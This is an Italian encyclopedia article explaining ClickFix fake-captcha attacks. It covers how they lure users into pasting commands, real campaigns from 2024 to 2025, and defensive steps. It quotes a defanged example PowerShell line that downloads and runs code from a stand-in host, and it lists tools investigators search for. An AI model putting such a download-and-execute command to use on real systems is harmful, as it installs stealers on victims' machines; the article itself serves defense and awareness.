--- id: CP-011 slug: clickfix-captcha-falsi lang: it title: ClickFix e falsi captcha description: Una falsa verifica «Non sono un robot» le fa incollare un comando in Windows+R. Come funziona ClickFix e cosa fare. canonical_url: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ markdown_url: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, «ClickFix e falsi captcha», Cyberpedia, 2026. https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: it: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ nl: https://startbrain.io/cyberpedia/nl/articles/clickfix-valse-captchas/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix e falsi captcha ClickFix è una tecnica di ingegneria sociale che porta la vittima a installare da sola un software dannoso. Una pagina web o un allegato mostra un falso errore o una falsa verifica «Non sono un robot», seguita da istruzioni da eseguire: aprire una finestra di comando di Windows, incollare, confermare. La pagina ha già copiato un comando negli appunti, ed è quel comando che la vittima lancia senza averlo letto [1]. Proofpoint ha osservato il metodo già a marzo 2024. Il nome deriva da una serie di falsi avvisi di aggiornamento del browser, individuata a metà aprile 2024, che i ricercatori hanno battezzato ClickFix [2]. Dall'autunno 2024 i cybercriminali moltiplicano queste campagne, osserva l'ANSSI [3]. Secondo ESET, ClickFix è cresciuto di oltre il 500% tra il secondo semestre 2024 e il primo semestre 2025, fino a diventare il secondo vettore di attacco dopo il phishing [4]. ## In 30 secondi - Dove accade: su pagine web, spesso siti noti che sono stati violati, e in allegati che imitano un documento Word. - Cosa vuole l'attaccante: che sia Lei a lanciare un comando che installa sul suo computer un ladro di password o un accesso remoto. - Il riflesso: nessuna verifica onesta Le chiede di incollare qualcosa nella finestra Esegui, in PowerShell o nel Terminale. Se una pagina lo chiede, la chiuda. - Se è già successo: scolleghi il cavo di rete o disattivi il Wi-Fi, lasci il computer acceso e chiami subito l'assistenza informatica. ## Domande dirette ### Un vero captcha può chiedermi di premere Windows+R? No. Un captcha si risolve nella pagina: una casella da spuntare, immagini da scegliere, a volte niente. Google consiglia di diffidare di qualsiasi sito che chieda di uscire dal browser per lanciare comandi sul dispositivo [5]. ### Ho incollato il comando ma non ho premuto Invio. Sono infetto? Dipende dalla finestra. Nella finestra Esegui non parte nulla finché non preme Invio [2]: la chiuda senza confermare. In PowerShell o nel Terminale, un'operazione di incolla può eseguirsi da sola. Nella console PowerShell, un semplice clic destro incolla il comando e lo lancia [2], e Microsoft consiglia di impostare il Terminale perché avvisi quando il testo incollato ha più righe [6]. In ogni caso, avvisi l'assistenza informatica: il suo computer potrebbe essere colpito, e la pagina che le ha chiesto quel gesto resta una trappola per i colleghi. ### Perché l'antivirus non blocca sempre l'attacco? Perché è Lei a lanciare il comando, con uno strumento fornito da Windows, e all'inizio non c'è alcun file da analizzare. Secondo Proofpoint, gli antivirus e gli strumenti di rilevamento installati sui computer faticano a ispezionare il contenuto degli appunti: occorre quindi bloccare la pagina trappola prima che venga mostrata [2]. Microsoft ritiene che una campagna ClickFix possa così superare le protezioni automatiche tradizionali [6]. ## Nei panni dell'attaccante Un file eseguibile inviato per e-mail o scaricato dal web supera diversi controlli prima di potersi aprire. ClickFix li aggira affidando il gesto pericoloso alla vittima: non c'è più un file, solo una riga di testo da incollare [1]. Mettere in piedi l'operazione richiede poca competenza. A metà settembre 2024 un ricercatore ha pubblicato su GitHub, «a scopo educativo», un kit open source di falso reCAPTCHA, e Proofpoint lo ha ritrovato in e-mail dannose pochi giorni dopo [7]. Dalla fine del 2024 Microsoft vede venditori che propongono nei forum di hacker generatori ClickFix, soprannominati «Win + R», con pagine che imitano tra l'altro Cloudflare. L'abbonamento costa da 200 a 1.500 dollari al mese. Un singolo componente, come il codice sorgente, la pagina di destinazione o la riga di comando, si vende tra 200 e 500 dollari [6]. Il clic su «verifica» attiva uno script che copia il comando negli appunti, in background [6]. Questo comando termina spesso con un falso testo di conferma, del tipo «I am not a robot: CAPTCHA Verification UID» [6]. Proofpoint spiega la funzione di questo falso messaggio in fondo al comando: una volta incollato il comando nella finestra Esegui, la vittima non vede il vero comando dannoso [7]. Il campo di questa finestra non accetta più di 259 caratteri [6], e il comando incollato si limita in genere a scaricare il resto da un server. PowerShell resta lo strumento di Windows più usato a questo scopo [6]. ```text Cosa la pagina mette negli appunti (esempio ricostruito, indirizzo neutralizzato): powershell -w h -c "iwr hxxps://esempio[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 Cosa la vittima può vedere nella finestra Esegui (illustrazione): il falso messaggio, non il comando. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## Cosa si vede sullo schermo Lo scenario tipico: un falso captcha compare prima della pagina che voleva vedere, spesso ricalcando il reCAPTCHA di Google o il Turnstile di Cloudflare [6]. Lei clicca, e il captcha dà istruzioni: aprire la finestra Esegui con il tasto Windows e R, incollare con Ctrl+V, poi premere Invio. È lo scenario descritto da CISA e FBI nel loro avviso di maggio 2025 sul ladro di dati LummaC2 [8]. L'ambientazione cambia in base al bersaglio. A marzo 2024 alcune e-mail contenevano un allegato simile a un documento Word, con il messaggio «l'estensione Word Online non è installata» e due pulsanti, «How to fix» e «Auto-fix» [2]. Da dicembre 2024 una campagna ha preso di mira il personale del settore alberghiero imitando Booking.com, con un falso captcha sovrapposto a una copia appena visibile di una pagina di Booking.com [9]. Non si fidi dell'aspetto, che può imitare fedelmente Cloudflare, Google o Booking.com. Il segnale che deve fermarla è l'istruzione: una pagina web le chiede di uscire dal browser per incollare qualcosa in una finestra del sistema. Nel programma Brain questo gesto si collega al riflesso «Identificare i segnali di manipolazione nel corpo dell'e-mail». Qui il segnale di manipolazione è la procedura stessa, sia per e-mail sia sul web. Se ha confermato il comando, agisca nei minuti successivi. Scolleghi il cavo di rete o disattivi il Wi-Fi, ma non spenga il computer: nella sua scheda dedicata ai ransomware, Cybermalveillance.gouv.fr ricorda che lo spegnimento rischia di cancellare elementi di prova contenuti nella memoria e necessari all'indagine [10]. Chiami l'assistenza informatica o il team di sicurezza e indichi quali account erano aperti sul computer. LummaC2, uno dei programmi installati in questo modo, sottrae credenziali finanziarie, portafogli di criptovalute, estensioni del browser e informazioni sull'autenticazione a due fattori [8]: sono questi gli account da proteggere per primi. Senza un servizio informatico, la piattaforma 17cyber.gouv.fr propone un percorso di assistenza [10]. ## Sotto il cofano La finestra Esegui appartiene a Esplora risorse di Windows (explorer.exe), un componente di cui il sistema si fida [6]. Ogni comando lanciato con successo da questa finestra lascia una traccia nella chiave di registro RunMRU, che conserva la cronologia di ciò che è stato digitato. Microsoft consiglia agli investigatori di cercarvi chiamate a powershell, mshta, rundll32, wscript, curl o wget, strumenti di Windows in grado di scaricare o eseguire codice [6]. Per il ruolo di PowerShell negli attacchi in generale, si veda l'articolo sull'esecuzione tramite interprete di comandi. Microsoft raccomanda di disattivare la finestra Esegui tramite criteri di gruppo per chi non ne ha bisogno, di attivare la registrazione dei blocchi di script PowerShell e di limitare le applicazioni autorizzate [6]. Google invita le aziende a vietare per impostazione predefinita l'esecuzione di script da parte degli utenti [5]. CISA consiglia un elenco di applicazioni autorizzate e account separati per l'amministrazione [8]. La tecnica non riguarda più solo Windows. A giugno 2025 una campagna ClickFix ha preso di mira utenti macOS per installare il ladro di dati Atomic macOS Stealer [6], ed ESET la descrive come una minaccia per Windows, Linux e macOS [4]. ## Autopsie ### Marzo 2024: TA571 e ClearFake Il 1° marzo 2024 TA571, un distributore di e-mail dannose, invia più di 100.000 messaggi a migliaia di organizzazioni con la falsa pagina Word descritta sopra. A seconda delle campagne primaverili, il comando installa DarkGate, Matanbuchus o NetSupport [2]. Già da inizio aprile la campagna ClearFake inietta falsi avvisi in siti legittimi violati. Proofpoint vi descrive una catena in cui un solo script PowerShell poteva far eseguire cinque famiglie di software dannosi, tra cui il ladro di dati Lumma Stealer [2]. ### Settembre 2024: i falsi avvisi GitHub Il 18 settembre 2024 alcuni attaccanti commentano o aprono ticket in repository GitHub. Le notifiche che GitHub invia agli sviluppatori si presentano come un avviso di sicurezza e portano a un falso sito GitHub dotato di un falso reCAPTCHA. Il comando installa Lumma Stealer, e Proofpoint conta almeno 300 organizzazioni colpite [7]. ### Dicembre 2024: nel mirino il settore alberghiero Microsoft segue con il nome Storm-1865 la campagna con i colori di Booking.com. Prende di mira dipendenti del settore alberghiero in Nord America, Oceania, Asia ed Europa, e installa tra l'altro XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot e NetSupport RAT [9]. ### 2025: entrano in gioco i servizi di intelligence Google ha identificato LOSTKEYS, un programma che ruba file, e lo attribuisce al gruppo COLDRIVER, noto anche come Callisto o Star Blizzard. LOSTKEYS, osservato a gennaio, marzo e aprile 2025, viene consegnato al termine di una catena che inizia con un falso captcha: la pagina copia un comando PowerShell e chiede di lanciarlo dalla finestra Esegui. Tra i bersagli recenti del gruppo figurano consiglieri, attuali o passati, di governi occidentali, giornalisti e ONG [5]. Secondo l'ANSSI, operatori di Callisto avrebbero usato questa tecnica anche a settembre 2025, in campagne rivolte a membri della società civile in Russia e a ONG impegnate in Ucraina. L'agenzia indica inoltre che almeno una campagna ClickFix è stata portata a sua conoscenza [3]. ## Fonti 1. MITRE ATT&CK, «User Execution: Malicious Copy and Paste (T1204.004)», 18 marzo 2025. https://attack.mitre.org/techniques/T1204/004/ (consultato il 26 ottobre 2026) 2. Proofpoint, «From Clipboard to Compromise: A PowerShell Self-Pwn», 17 giugno 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consultato il 26 ottobre 2026) 3. ANSSI, «Panorama de la cybermenace 2025», 11 marzo 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consultato il 26 ottobre 2026) 4. ESET (WeLiveSecurity), «Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025», 26 giugno 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consultato il 26 ottobre 2026) 5. Google Threat Intelligence Group, «COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs», 7 maggio 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consultato il 26 ottobre 2026) 6. Microsoft Threat Intelligence, «Think before you Click(Fix): Analyzing the ClickFix social engineering technique», 21 agosto 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consultato il 26 ottobre 2026) 7. Proofpoint, «Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape», 18 novembre 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consultato il 26 ottobre 2026) 8. CISA et FBI, «Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations», 21 maggio 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consultato il 26 ottobre 2026) 9. Microsoft Threat Intelligence, «Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware», 13 marzo 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consultato il 26 ottobre 2026) 10. Cybermalveillance.gouv.fr, «Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?», 3 giugno 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consultato il 26 ottobre 2026) --- Fonte originale: Cyberpedia, l'enciclopedia pubblica di cybersicurezza e IA pubblicata da Brain. Versione canonica: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ Puoi riutilizzare liberamente questo testo con licenza CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), a condizione di citare «Brain, Cyberpedia» con un link all'indirizzo qui sopra.